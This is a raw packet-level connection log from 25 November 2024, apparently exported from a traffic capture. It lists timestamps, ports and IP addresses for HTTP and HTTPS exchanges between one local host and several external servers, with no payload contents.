Nov 25, 2024 16:21:14.559443951 CET	49704	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:14.560359955 CET	80	49704	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:14.560378075 CET	80	49704	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:14.560408115 CET	49704	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:14.560424089 CET	49704	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:14.561157942 CET	80	49704	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:14.561204910 CET	49704	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:14.561269999 CET	80	49704	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:14.561316013 CET	49704	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:14.562069893 CET	80	49704	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:14.562119961 CET	49704	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:17.900264025 CET	49708	443	192.168.2.5	142.250.181.68
Nov 25, 2024 16:21:17.900301933 CET	443	49708	142.250.181.68	192.168.2.5
Nov 25, 2024 16:21:17.900362968 CET	49708	443	192.168.2.5	142.250.181.68
Nov 25, 2024 16:21:17.900600910 CET	49708	443	192.168.2.5	142.250.181.68
Nov 25, 2024 16:21:17.900614977 CET	443	49708	142.250.181.68	192.168.2.5
Nov 25, 2024 16:21:18.098186970 CET	80	49704	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:18.098257065 CET	49704	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:19.658545017 CET	443	49708	142.250.181.68	192.168.2.5
Nov 25, 2024 16:21:19.699091911 CET	49708	443	192.168.2.5	142.250.181.68
Nov 25, 2024 16:21:19.699383974 CET	49708	443	192.168.2.5	142.250.181.68
Nov 25, 2024 16:21:19.699413061 CET	443	49708	142.250.181.68	192.168.2.5
Nov 25, 2024 16:21:19.701246023 CET	443	49708	142.250.181.68	192.168.2.5
Nov 25, 2024 16:21:19.701314926 CET	49708	443	192.168.2.5	142.250.181.68
Nov 25, 2024 16:21:19.703135967 CET	49708	443	192.168.2.5	142.250.181.68
Nov 25, 2024 16:21:19.703231096 CET	443	49708	142.250.181.68	192.168.2.5
Nov 25, 2024 16:21:19.703430891 CET	49708	443	192.168.2.5	142.250.181.68
Nov 25, 2024 16:21:19.703438997 CET	443	49708	142.250.181.68	192.168.2.5
Nov 25, 2024 16:21:19.757231951 CET	49708	443	192.168.2.5	142.250.181.68
Nov 25, 2024 16:21:19.776492119 CET	49711	443	192.168.2.5	142.250.181.68
Nov 25, 2024 16:21:19.776527882 CET	443	49711	142.250.181.68	192.168.2.5
Nov 25, 2024 16:21:19.776606083 CET	49711	443	192.168.2.5	142.250.181.68
Nov 25, 2024 16:21:19.776945114 CET	49711	443	192.168.2.5	142.250.181.68
Nov 25, 2024 16:21:19.776954889 CET	443	49711	142.250.181.68	192.168.2.5
Nov 25, 2024 16:21:19.886425018 CET	49713	443	192.168.2.5	142.250.181.68
Nov 25, 2024 16:21:19.886466026 CET	443	49713	142.250.181.68	192.168.2.5
Nov 25, 2024 16:21:19.886535883 CET	49713	443	192.168.2.5	142.250.181.68
Nov 25, 2024 16:21:19.886782885 CET	49713	443	192.168.2.5	142.250.181.68
Nov 25, 2024 16:21:19.886796951 CET	443	49713	142.250.181.68	192.168.2.5
Nov 25, 2024 16:21:20.198069096 CET	49714	443	192.168.2.5	142.250.181.68
Nov 25, 2024 16:21:20.198129892 CET	443	49714	142.250.181.68	192.168.2.5
Nov 25, 2024 16:21:20.198198080 CET	49714	443	192.168.2.5	142.250.181.68
Nov 25, 2024 16:21:20.198502064 CET	49714	443	192.168.2.5	142.250.181.68
Nov 25, 2024 16:21:20.198518038 CET	443	49714	142.250.181.68	192.168.2.5
Nov 25, 2024 16:21:20.371135950 CET	49715	443	192.168.2.5	4.245.163.56
Nov 25, 2024 16:21:20.371189117 CET	443	49715	4.245.163.56	192.168.2.5
Nov 25, 2024 16:21:20.371248960 CET	49715	443	192.168.2.5	4.245.163.56
Nov 25, 2024 16:21:20.381103039 CET	49715	443	192.168.2.5	4.245.163.56
Nov 25, 2024 16:21:20.381130934 CET	443	49715	4.245.163.56	192.168.2.5
Nov 25, 2024 16:21:20.577362061 CET	443	49708	142.250.181.68	192.168.2.5
Nov 25, 2024 16:21:20.577440023 CET	443	49708	142.250.181.68	192.168.2.5
Nov 25, 2024 16:21:20.577483892 CET	443	49708	142.250.181.68	192.168.2.5
Nov 25, 2024 16:21:20.577514887 CET	49708	443	192.168.2.5	142.250.181.68
Nov 25, 2024 16:21:20.577543020 CET	443	49708	142.250.181.68	192.168.2.5
Nov 25, 2024 16:21:20.577629089 CET	443	49708	142.250.181.68	192.168.2.5
Nov 25, 2024 16:21:20.577680111 CET	49708	443	192.168.2.5	142.250.181.68
Nov 25, 2024 16:21:20.578676939 CET	49708	443	192.168.2.5	142.250.181.68
Nov 25, 2024 16:21:20.578686953 CET	443	49708	142.250.181.68	192.168.2.5
Nov 25, 2024 16:21:21.465989113 CET	443	49711	142.250.181.68	192.168.2.5
Nov 25, 2024 16:21:21.466378927 CET	49711	443	192.168.2.5	142.250.181.68
Nov 25, 2024 16:21:21.466406107 CET	443	49711	142.250.181.68	192.168.2.5
Nov 25, 2024 16:21:21.466738939 CET	443	49711	142.250.181.68	192.168.2.5
Nov 25, 2024 16:21:21.467824936 CET	49711	443	192.168.2.5	142.250.181.68
Nov 25, 2024 16:21:21.467886925 CET	443	49711	142.250.181.68	192.168.2.5
Nov 25, 2024 16:21:21.468038082 CET	49711	443	192.168.2.5	142.250.181.68
Nov 25, 2024 16:21:21.515341997 CET	443	49711	142.250.181.68	192.168.2.5
Nov 25, 2024 16:21:21.633378983 CET	443	49713	142.250.181.68	192.168.2.5
Nov 25, 2024 16:21:21.635416985 CET	49713	443	192.168.2.5	142.250.181.68
Nov 25, 2024 16:21:21.635442019 CET	443	49713	142.250.181.68	192.168.2.5
Nov 25, 2024 16:21:21.635782957 CET	443	49713	142.250.181.68	192.168.2.5
Nov 25, 2024 16:21:21.636764050 CET	49713	443	192.168.2.5	142.250.181.68
Nov 25, 2024 16:21:21.636822939 CET	443	49713	142.250.181.68	192.168.2.5
Nov 25, 2024 16:21:21.636982918 CET	49713	443	192.168.2.5	142.250.181.68
Nov 25, 2024 16:21:21.683346033 CET	443	49713	142.250.181.68	192.168.2.5
Nov 25, 2024 16:21:21.988853931 CET	443	49714	142.250.181.68	192.168.2.5
Nov 25, 2024 16:21:22.005273104 CET	49714	443	192.168.2.5	142.250.181.68
Nov 25, 2024 16:21:22.005337000 CET	443	49714	142.250.181.68	192.168.2.5
Nov 25, 2024 16:21:22.009179115 CET	443	49714	142.250.181.68	192.168.2.5
Nov 25, 2024 16:21:22.009260893 CET	49714	443	192.168.2.5	142.250.181.68
Nov 25, 2024 16:21:22.014535904 CET	49714	443	192.168.2.5	142.250.181.68
Nov 25, 2024 16:21:22.014719963 CET	443	49714	142.250.181.68	192.168.2.5
Nov 25, 2024 16:21:22.063574076 CET	49704	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:22.063878059 CET	49720	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:22.071801901 CET	49714	443	192.168.2.5	142.250.181.68
Nov 25, 2024 16:21:22.071819067 CET	443	49714	142.250.181.68	192.168.2.5
Nov 25, 2024 16:21:22.118725061 CET	49714	443	192.168.2.5	142.250.181.68
Nov 25, 2024 16:21:22.183793068 CET	80	49704	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:22.183828115 CET	80	49720	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:22.183912039 CET	49720	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:22.184089899 CET	49720	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:22.233176947 CET	49721	443	192.168.2.5	13.107.246.63
Nov 25, 2024 16:21:22.233231068 CET	443	49721	13.107.246.63	192.168.2.5
Nov 25, 2024 16:21:22.233325005 CET	49721	443	192.168.2.5	13.107.246.63
Nov 25, 2024 16:21:22.233653069 CET	49721	443	192.168.2.5	13.107.246.63
Nov 25, 2024 16:21:22.233669996 CET	443	49721	13.107.246.63	192.168.2.5
Nov 25, 2024 16:21:22.243191004 CET	443	49715	4.245.163.56	192.168.2.5
Nov 25, 2024 16:21:22.243287086 CET	49715	443	192.168.2.5	4.245.163.56
Nov 25, 2024 16:21:22.245940924 CET	49715	443	192.168.2.5	4.245.163.56
Nov 25, 2024 16:21:22.245949984 CET	443	49715	4.245.163.56	192.168.2.5
Nov 25, 2024 16:21:22.246265888 CET	443	49715	4.245.163.56	192.168.2.5
Nov 25, 2024 16:21:22.290544987 CET	49715	443	192.168.2.5	4.245.163.56
Nov 25, 2024 16:21:22.305037975 CET	80	49720	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:22.434011936 CET	443	49711	142.250.181.68	192.168.2.5
Nov 25, 2024 16:21:22.434078932 CET	443	49711	142.250.181.68	192.168.2.5
Nov 25, 2024 16:21:22.434117079 CET	443	49711	142.250.181.68	192.168.2.5
Nov 25, 2024 16:21:22.434145927 CET	49711	443	192.168.2.5	142.250.181.68
Nov 25, 2024 16:21:22.434149027 CET	443	49711	142.250.181.68	192.168.2.5
Nov 25, 2024 16:21:22.434173107 CET	443	49711	142.250.181.68	192.168.2.5
Nov 25, 2024 16:21:22.434211969 CET	49711	443	192.168.2.5	142.250.181.68
Nov 25, 2024 16:21:22.447237968 CET	443	49711	142.250.181.68	192.168.2.5
Nov 25, 2024 16:21:22.447278976 CET	443	49711	142.250.181.68	192.168.2.5
Nov 25, 2024 16:21:22.447299957 CET	49711	443	192.168.2.5	142.250.181.68
Nov 25, 2024 16:21:22.447308064 CET	443	49711	142.250.181.68	192.168.2.5
Nov 25, 2024 16:21:22.447348118 CET	49711	443	192.168.2.5	142.250.181.68
Nov 25, 2024 16:21:22.456362963 CET	443	49711	142.250.181.68	192.168.2.5
Nov 25, 2024 16:21:22.469707966 CET	443	49711	142.250.181.68	192.168.2.5
Nov 25, 2024 16:21:22.469759941 CET	49711	443	192.168.2.5	142.250.181.68
Nov 25, 2024 16:21:22.469767094 CET	443	49711	142.250.181.68	192.168.2.5
Nov 25, 2024 16:21:22.509285927 CET	49711	443	192.168.2.5	142.250.181.68
Nov 25, 2024 16:21:22.509293079 CET	443	49711	142.250.181.68	192.168.2.5
Nov 25, 2024 16:21:22.556169987 CET	49711	443	192.168.2.5	142.250.181.68
Nov 25, 2024 16:21:22.556180954 CET	443	49711	142.250.181.68	192.168.2.5
Nov 25, 2024 16:21:22.602423906 CET	49711	443	192.168.2.5	142.250.181.68
Nov 25, 2024 16:21:22.620054007 CET	443	49711	142.250.181.68	192.168.2.5
Nov 25, 2024 16:21:22.623282909 CET	443	49713	142.250.181.68	192.168.2.5
Nov 25, 2024 16:21:22.623409033 CET	443	49713	142.250.181.68	192.168.2.5
Nov 25, 2024 16:21:22.623703957 CET	49713	443	192.168.2.5	142.250.181.68
Nov 25, 2024 16:21:22.624459982 CET	49713	443	192.168.2.5	142.250.181.68
Nov 25, 2024 16:21:22.624481916 CET	443	49713	142.250.181.68	192.168.2.5
Nov 25, 2024 16:21:22.628207922 CET	443	49711	142.250.181.68	192.168.2.5
Nov 25, 2024 16:21:22.628314972 CET	49711	443	192.168.2.5	142.250.181.68
Nov 25, 2024 16:21:22.628334999 CET	443	49711	142.250.181.68	192.168.2.5
Nov 25, 2024 16:21:22.640851021 CET	443	49711	142.250.181.68	192.168.2.5
Nov 25, 2024 16:21:22.640901089 CET	49711	443	192.168.2.5	142.250.181.68
Nov 25, 2024 16:21:22.640913010 CET	443	49711	142.250.181.68	192.168.2.5
Nov 25, 2024 16:21:22.654170036 CET	443	49711	142.250.181.68	192.168.2.5
Nov 25, 2024 16:21:22.654225111 CET	49711	443	192.168.2.5	142.250.181.68
Nov 25, 2024 16:21:22.654232979 CET	443	49711	142.250.181.68	192.168.2.5
Nov 25, 2024 16:21:22.667658091 CET	443	49711	142.250.181.68	192.168.2.5
Nov 25, 2024 16:21:22.667733908 CET	49711	443	192.168.2.5	142.250.181.68
Nov 25, 2024 16:21:22.667741060 CET	443	49711	142.250.181.68	192.168.2.5
Nov 25, 2024 16:21:22.681293964 CET	443	49711	142.250.181.68	192.168.2.5
Nov 25, 2024 16:21:22.681344032 CET	49711	443	192.168.2.5	142.250.181.68
Nov 25, 2024 16:21:22.681350946 CET	443	49711	142.250.181.68	192.168.2.5
Nov 25, 2024 16:21:22.694933891 CET	443	49711	142.250.181.68	192.168.2.5
Nov 25, 2024 16:21:22.694989920 CET	49711	443	192.168.2.5	142.250.181.68
Nov 25, 2024 16:21:22.694997072 CET	443	49711	142.250.181.68	192.168.2.5
Nov 25, 2024 16:21:22.707469940 CET	443	49711	142.250.181.68	192.168.2.5
Nov 25, 2024 16:21:22.707528114 CET	49711	443	192.168.2.5	142.250.181.68
Nov 25, 2024 16:21:22.707535028 CET	443	49711	142.250.181.68	192.168.2.5
Nov 25, 2024 16:21:22.719588995 CET	443	49711	142.250.181.68	192.168.2.5
Nov 25, 2024 16:21:22.719635963 CET	49711	443	192.168.2.5	142.250.181.68
Nov 25, 2024 16:21:22.719643116 CET	443	49711	142.250.181.68	192.168.2.5
Nov 25, 2024 16:21:22.740046978 CET	443	49711	142.250.181.68	192.168.2.5
Nov 25, 2024 16:21:22.740089893 CET	443	49711	142.250.181.68	192.168.2.5
Nov 25, 2024 16:21:22.740109921 CET	49711	443	192.168.2.5	142.250.181.68
Nov 25, 2024 16:21:22.740119934 CET	443	49711	142.250.181.68	192.168.2.5
Nov 25, 2024 16:21:22.740319014 CET	49711	443	192.168.2.5	142.250.181.68
Nov 25, 2024 16:21:22.759402037 CET	443	49711	142.250.181.68	192.168.2.5
Nov 25, 2024 16:21:22.762842894 CET	443	49711	142.250.181.68	192.168.2.5
Nov 25, 2024 16:21:22.763262033 CET	49711	443	192.168.2.5	142.250.181.68
Nov 25, 2024 16:21:22.763269901 CET	443	49711	142.250.181.68	192.168.2.5
Nov 25, 2024 16:21:22.805788994 CET	49711	443	192.168.2.5	142.250.181.68
Nov 25, 2024 16:21:22.805798054 CET	443	49711	142.250.181.68	192.168.2.5
Nov 25, 2024 16:21:22.817912102 CET	443	49711	142.250.181.68	192.168.2.5
Nov 25, 2024 16:21:22.817969084 CET	49711	443	192.168.2.5	142.250.181.68
Nov 25, 2024 16:21:22.817977905 CET	443	49711	142.250.181.68	192.168.2.5
Nov 25, 2024 16:21:22.828397989 CET	443	49711	142.250.181.68	192.168.2.5
Nov 25, 2024 16:21:22.828452110 CET	49711	443	192.168.2.5	142.250.181.68
Nov 25, 2024 16:21:22.828458071 CET	443	49711	142.250.181.68	192.168.2.5
Nov 25, 2024 16:21:22.830682039 CET	443	49711	142.250.181.68	192.168.2.5
Nov 25, 2024 16:21:22.830733061 CET	49711	443	192.168.2.5	142.250.181.68
Nov 25, 2024 16:21:22.830759048 CET	443	49711	142.250.181.68	192.168.2.5
Nov 25, 2024 16:21:22.838752031 CET	443	49711	142.250.181.68	192.168.2.5
Nov 25, 2024 16:21:22.838798046 CET	49711	443	192.168.2.5	142.250.181.68
Nov 25, 2024 16:21:22.838805914 CET	443	49711	142.250.181.68	192.168.2.5
Nov 25, 2024 16:21:22.849849939 CET	443	49711	142.250.181.68	192.168.2.5
Nov 25, 2024 16:21:22.849898100 CET	49711	443	192.168.2.5	142.250.181.68
Nov 25, 2024 16:21:22.849905968 CET	443	49711	142.250.181.68	192.168.2.5
Nov 25, 2024 16:21:22.861291885 CET	443	49711	142.250.181.68	192.168.2.5
Nov 25, 2024 16:21:22.861351013 CET	49711	443	192.168.2.5	142.250.181.68
Nov 25, 2024 16:21:22.861370087 CET	443	49711	142.250.181.68	192.168.2.5
Nov 25, 2024 16:21:22.872915983 CET	443	49711	142.250.181.68	192.168.2.5
Nov 25, 2024 16:21:22.872961044 CET	49711	443	192.168.2.5	142.250.181.68
Nov 25, 2024 16:21:22.872976065 CET	443	49711	142.250.181.68	192.168.2.5
Nov 25, 2024 16:21:22.883394957 CET	443	49711	142.250.181.68	192.168.2.5
Nov 25, 2024 16:21:22.883467913 CET	49711	443	192.168.2.5	142.250.181.68
Nov 25, 2024 16:21:22.883481979 CET	443	49711	142.250.181.68	192.168.2.5
Nov 25, 2024 16:21:22.894160032 CET	443	49711	142.250.181.68	192.168.2.5
Nov 25, 2024 16:21:22.894207001 CET	49711	443	192.168.2.5	142.250.181.68
Nov 25, 2024 16:21:22.894220114 CET	443	49711	142.250.181.68	192.168.2.5
Nov 25, 2024 16:21:22.904690981 CET	443	49711	142.250.181.68	192.168.2.5
Nov 25, 2024 16:21:22.904738903 CET	49711	443	192.168.2.5	142.250.181.68
Nov 25, 2024 16:21:22.904752970 CET	443	49711	142.250.181.68	192.168.2.5
Nov 25, 2024 16:21:22.915349007 CET	443	49711	142.250.181.68	192.168.2.5
Nov 25, 2024 16:21:22.915539980 CET	49711	443	192.168.2.5	142.250.181.68
Nov 25, 2024 16:21:22.915553093 CET	443	49711	142.250.181.68	192.168.2.5
Nov 25, 2024 16:21:22.927201986 CET	443	49711	142.250.181.68	192.168.2.5
Nov 25, 2024 16:21:22.927272081 CET	49711	443	192.168.2.5	142.250.181.68
Nov 25, 2024 16:21:22.927278996 CET	443	49711	142.250.181.68	192.168.2.5
Nov 25, 2024 16:21:22.936964035 CET	443	49711	142.250.181.68	192.168.2.5
Nov 25, 2024 16:21:22.937016964 CET	49711	443	192.168.2.5	142.250.181.68
Nov 25, 2024 16:21:22.937022924 CET	443	49711	142.250.181.68	192.168.2.5
Nov 25, 2024 16:21:22.947109938 CET	443	49711	142.250.181.68	192.168.2.5
Nov 25, 2024 16:21:22.947160006 CET	49711	443	192.168.2.5	142.250.181.68
Nov 25, 2024 16:21:22.947165966 CET	443	49711	142.250.181.68	192.168.2.5
Nov 25, 2024 16:21:22.957406998 CET	443	49711	142.250.181.68	192.168.2.5
Nov 25, 2024 16:21:22.957451105 CET	49711	443	192.168.2.5	142.250.181.68
Nov 25, 2024 16:21:22.957458019 CET	443	49711	142.250.181.68	192.168.2.5
Nov 25, 2024 16:21:22.966042995 CET	443	49711	142.250.181.68	192.168.2.5
Nov 25, 2024 16:21:22.966120958 CET	49711	443	192.168.2.5	142.250.181.68
Nov 25, 2024 16:21:22.966129065 CET	443	49711	142.250.181.68	192.168.2.5
Nov 25, 2024 16:21:22.974441051 CET	443	49711	142.250.181.68	192.168.2.5
Nov 25, 2024 16:21:22.974499941 CET	49711	443	192.168.2.5	142.250.181.68
Nov 25, 2024 16:21:22.974505901 CET	443	49711	142.250.181.68	192.168.2.5
Nov 25, 2024 16:21:22.983107090 CET	443	49711	142.250.181.68	192.168.2.5
Nov 25, 2024 16:21:22.983151913 CET	49711	443	192.168.2.5	142.250.181.68
Nov 25, 2024 16:21:22.983158112 CET	443	49711	142.250.181.68	192.168.2.5
Nov 25, 2024 16:21:22.991972923 CET	443	49711	142.250.181.68	192.168.2.5
Nov 25, 2024 16:21:22.992024899 CET	49711	443	192.168.2.5	142.250.181.68
Nov 25, 2024 16:21:22.992048979 CET	443	49711	142.250.181.68	192.168.2.5
Nov 25, 2024 16:21:23.001673937 CET	443	49711	142.250.181.68	192.168.2.5
Nov 25, 2024 16:21:23.001738071 CET	49711	443	192.168.2.5	142.250.181.68
Nov 25, 2024 16:21:23.001744986 CET	443	49711	142.250.181.68	192.168.2.5
Nov 25, 2024 16:21:23.006087065 CET	443	49711	142.250.181.68	192.168.2.5
Nov 25, 2024 16:21:23.006136894 CET	49711	443	192.168.2.5	142.250.181.68
Nov 25, 2024 16:21:23.006141901 CET	443	49711	142.250.181.68	192.168.2.5
Nov 25, 2024 16:21:23.011897087 CET	443	49711	142.250.181.68	192.168.2.5
Nov 25, 2024 16:21:23.011953115 CET	49711	443	192.168.2.5	142.250.181.68
Nov 25, 2024 16:21:23.011959076 CET	443	49711	142.250.181.68	192.168.2.5
Nov 25, 2024 16:21:23.017308950 CET	443	49711	142.250.181.68	192.168.2.5
Nov 25, 2024 16:21:23.017369032 CET	49711	443	192.168.2.5	142.250.181.68
Nov 25, 2024 16:21:23.017374992 CET	443	49711	142.250.181.68	192.168.2.5
Nov 25, 2024 16:21:23.022726059 CET	443	49711	142.250.181.68	192.168.2.5
Nov 25, 2024 16:21:23.022870064 CET	49711	443	192.168.2.5	142.250.181.68
Nov 25, 2024 16:21:23.022876024 CET	443	49711	142.250.181.68	192.168.2.5
Nov 25, 2024 16:21:23.028036118 CET	443	49711	142.250.181.68	192.168.2.5
Nov 25, 2024 16:21:23.028094053 CET	49711	443	192.168.2.5	142.250.181.68
Nov 25, 2024 16:21:23.028100014 CET	443	49711	142.250.181.68	192.168.2.5
Nov 25, 2024 16:21:23.033461094 CET	443	49711	142.250.181.68	192.168.2.5
Nov 25, 2024 16:21:23.033536911 CET	49711	443	192.168.2.5	142.250.181.68
Nov 25, 2024 16:21:23.033545017 CET	443	49711	142.250.181.68	192.168.2.5
Nov 25, 2024 16:21:23.038939953 CET	443	49711	142.250.181.68	192.168.2.5
Nov 25, 2024 16:21:23.039004087 CET	49711	443	192.168.2.5	142.250.181.68
Nov 25, 2024 16:21:23.039010048 CET	443	49711	142.250.181.68	192.168.2.5
Nov 25, 2024 16:21:23.044250965 CET	443	49711	142.250.181.68	192.168.2.5
Nov 25, 2024 16:21:23.044327974 CET	49711	443	192.168.2.5	142.250.181.68
Nov 25, 2024 16:21:23.044332981 CET	443	49711	142.250.181.68	192.168.2.5
Nov 25, 2024 16:21:23.049757957 CET	443	49711	142.250.181.68	192.168.2.5
Nov 25, 2024 16:21:23.049890995 CET	49711	443	192.168.2.5	142.250.181.68
Nov 25, 2024 16:21:23.049896955 CET	443	49711	142.250.181.68	192.168.2.5
Nov 25, 2024 16:21:23.055006981 CET	443	49711	142.250.181.68	192.168.2.5
Nov 25, 2024 16:21:23.055056095 CET	49711	443	192.168.2.5	142.250.181.68
Nov 25, 2024 16:21:23.055062056 CET	443	49711	142.250.181.68	192.168.2.5
Nov 25, 2024 16:21:23.060451031 CET	443	49711	142.250.181.68	192.168.2.5
Nov 25, 2024 16:21:23.060513020 CET	443	49711	142.250.181.68	192.168.2.5
Nov 25, 2024 16:21:23.060523033 CET	49711	443	192.168.2.5	142.250.181.68
Nov 25, 2024 16:21:23.060528994 CET	443	49711	142.250.181.68	192.168.2.5
Nov 25, 2024 16:21:23.060612917 CET	49711	443	192.168.2.5	142.250.181.68
Nov 25, 2024 16:21:23.060617924 CET	443	49711	142.250.181.68	192.168.2.5
Nov 25, 2024 16:21:23.060894012 CET	49711	443	192.168.2.5	142.250.181.68
Nov 25, 2024 16:21:23.060935974 CET	443	49711	142.250.181.68	192.168.2.5
Nov 25, 2024 16:21:23.060996056 CET	49711	443	192.168.2.5	142.250.181.68
Nov 25, 2024 16:21:23.573416948 CET	49728	443	192.168.2.5	184.30.24.109
Nov 25, 2024 16:21:23.573467016 CET	443	49728	184.30.24.109	192.168.2.5
Nov 25, 2024 16:21:23.573544025 CET	49728	443	192.168.2.5	184.30.24.109
Nov 25, 2024 16:21:23.574856043 CET	49728	443	192.168.2.5	184.30.24.109
Nov 25, 2024 16:21:23.574868917 CET	443	49728	184.30.24.109	192.168.2.5
Nov 25, 2024 16:21:23.802716970 CET	49715	443	192.168.2.5	4.245.163.56
Nov 25, 2024 16:21:23.843341112 CET	443	49715	4.245.163.56	192.168.2.5
Nov 25, 2024 16:21:24.024322033 CET	443	49721	13.107.246.63	192.168.2.5
Nov 25, 2024 16:21:24.024382114 CET	49721	443	192.168.2.5	13.107.246.63
Nov 25, 2024 16:21:24.028248072 CET	49721	443	192.168.2.5	13.107.246.63
Nov 25, 2024 16:21:24.028268099 CET	443	49721	13.107.246.63	192.168.2.5
Nov 25, 2024 16:21:24.028650045 CET	443	49721	13.107.246.63	192.168.2.5
Nov 25, 2024 16:21:24.038758039 CET	49721	443	192.168.2.5	13.107.246.63
Nov 25, 2024 16:21:24.083331108 CET	443	49721	13.107.246.63	192.168.2.5
Nov 25, 2024 16:21:24.126027107 CET	80	49720	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:24.126094103 CET	49720	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:24.255255938 CET	49720	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:24.268655062 CET	49714	443	192.168.2.5	142.250.181.68
Nov 25, 2024 16:21:24.380929947 CET	80	49720	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:24.418210983 CET	443	49715	4.245.163.56	192.168.2.5
Nov 25, 2024 16:21:24.418243885 CET	443	49715	4.245.163.56	192.168.2.5
Nov 25, 2024 16:21:24.418252945 CET	443	49715	4.245.163.56	192.168.2.5
Nov 25, 2024 16:21:24.418265104 CET	443	49715	4.245.163.56	192.168.2.5
Nov 25, 2024 16:21:24.418330908 CET	49715	443	192.168.2.5	4.245.163.56
Nov 25, 2024 16:21:24.418330908 CET	443	49715	4.245.163.56	192.168.2.5
Nov 25, 2024 16:21:24.418400049 CET	443	49715	4.245.163.56	192.168.2.5
Nov 25, 2024 16:21:24.418417931 CET	49715	443	192.168.2.5	4.245.163.56
Nov 25, 2024 16:21:24.418441057 CET	49715	443	192.168.2.5	4.245.163.56
Nov 25, 2024 16:21:24.438824892 CET	443	49715	4.245.163.56	192.168.2.5
Nov 25, 2024 16:21:24.438895941 CET	49715	443	192.168.2.5	4.245.163.56
Nov 25, 2024 16:21:24.438908100 CET	443	49715	4.245.163.56	192.168.2.5
Nov 25, 2024 16:21:24.438920975 CET	443	49715	4.245.163.56	192.168.2.5
Nov 25, 2024 16:21:24.438973904 CET	49715	443	192.168.2.5	4.245.163.56
Nov 25, 2024 16:21:24.512701035 CET	443	49721	13.107.246.63	192.168.2.5
Nov 25, 2024 16:21:24.512728930 CET	443	49721	13.107.246.63	192.168.2.5
Nov 25, 2024 16:21:24.512747049 CET	443	49721	13.107.246.63	192.168.2.5
Nov 25, 2024 16:21:24.512803078 CET	49721	443	192.168.2.5	13.107.246.63
Nov 25, 2024 16:21:24.512881994 CET	443	49721	13.107.246.63	192.168.2.5
Nov 25, 2024 16:21:24.512924910 CET	49721	443	192.168.2.5	13.107.246.63
Nov 25, 2024 16:21:24.512924910 CET	49721	443	192.168.2.5	13.107.246.63
Nov 25, 2024 16:21:24.702240944 CET	443	49721	13.107.246.63	192.168.2.5
Nov 25, 2024 16:21:24.702270985 CET	443	49721	13.107.246.63	192.168.2.5
Nov 25, 2024 16:21:24.702332020 CET	49721	443	192.168.2.5	13.107.246.63
Nov 25, 2024 16:21:24.702389956 CET	443	49721	13.107.246.63	192.168.2.5
Nov 25, 2024 16:21:24.702423096 CET	49721	443	192.168.2.5	13.107.246.63
Nov 25, 2024 16:21:24.702497959 CET	49721	443	192.168.2.5	13.107.246.63
Nov 25, 2024 16:21:24.780448914 CET	443	49721	13.107.246.63	192.168.2.5
Nov 25, 2024 16:21:24.780478001 CET	443	49721	13.107.246.63	192.168.2.5
Nov 25, 2024 16:21:24.780524969 CET	49721	443	192.168.2.5	13.107.246.63
Nov 25, 2024 16:21:24.780539989 CET	443	49721	13.107.246.63	192.168.2.5
Nov 25, 2024 16:21:24.780572891 CET	49721	443	192.168.2.5	13.107.246.63
Nov 25, 2024 16:21:24.780592918 CET	49721	443	192.168.2.5	13.107.246.63
Nov 25, 2024 16:21:24.886075020 CET	443	49721	13.107.246.63	192.168.2.5
Nov 25, 2024 16:21:24.886140108 CET	443	49721	13.107.246.63	192.168.2.5
Nov 25, 2024 16:21:24.886173964 CET	49721	443	192.168.2.5	13.107.246.63
Nov 25, 2024 16:21:24.886198044 CET	443	49721	13.107.246.63	192.168.2.5
Nov 25, 2024 16:21:24.886243105 CET	49721	443	192.168.2.5	13.107.246.63
Nov 25, 2024 16:21:24.886243105 CET	49721	443	192.168.2.5	13.107.246.63
Nov 25, 2024 16:21:24.922873974 CET	443	49721	13.107.246.63	192.168.2.5
Nov 25, 2024 16:21:24.922897100 CET	443	49721	13.107.246.63	192.168.2.5
Nov 25, 2024 16:21:24.922955990 CET	49721	443	192.168.2.5	13.107.246.63
Nov 25, 2024 16:21:24.922974110 CET	443	49721	13.107.246.63	192.168.2.5
Nov 25, 2024 16:21:24.923034906 CET	49721	443	192.168.2.5	13.107.246.63
Nov 25, 2024 16:21:24.941056967 CET	443	49721	13.107.246.63	192.168.2.5
Nov 25, 2024 16:21:24.941073895 CET	443	49721	13.107.246.63	192.168.2.5
Nov 25, 2024 16:21:24.941138029 CET	49721	443	192.168.2.5	13.107.246.63
Nov 25, 2024 16:21:24.941152096 CET	443	49721	13.107.246.63	192.168.2.5
Nov 25, 2024 16:21:24.941211939 CET	49721	443	192.168.2.5	13.107.246.63
Nov 25, 2024 16:21:24.962038040 CET	443	49721	13.107.246.63	192.168.2.5
Nov 25, 2024 16:21:24.962057114 CET	443	49721	13.107.246.63	192.168.2.5
Nov 25, 2024 16:21:24.962116957 CET	49721	443	192.168.2.5	13.107.246.63
Nov 25, 2024 16:21:24.962126970 CET	443	49721	13.107.246.63	192.168.2.5
Nov 25, 2024 16:21:24.962188959 CET	49721	443	192.168.2.5	13.107.246.63
Nov 25, 2024 16:21:25.062061071 CET	443	49728	184.30.24.109	192.168.2.5
Nov 25, 2024 16:21:25.062141895 CET	49728	443	192.168.2.5	184.30.24.109
Nov 25, 2024 16:21:25.064187050 CET	49728	443	192.168.2.5	184.30.24.109
Nov 25, 2024 16:21:25.064198971 CET	443	49728	184.30.24.109	192.168.2.5
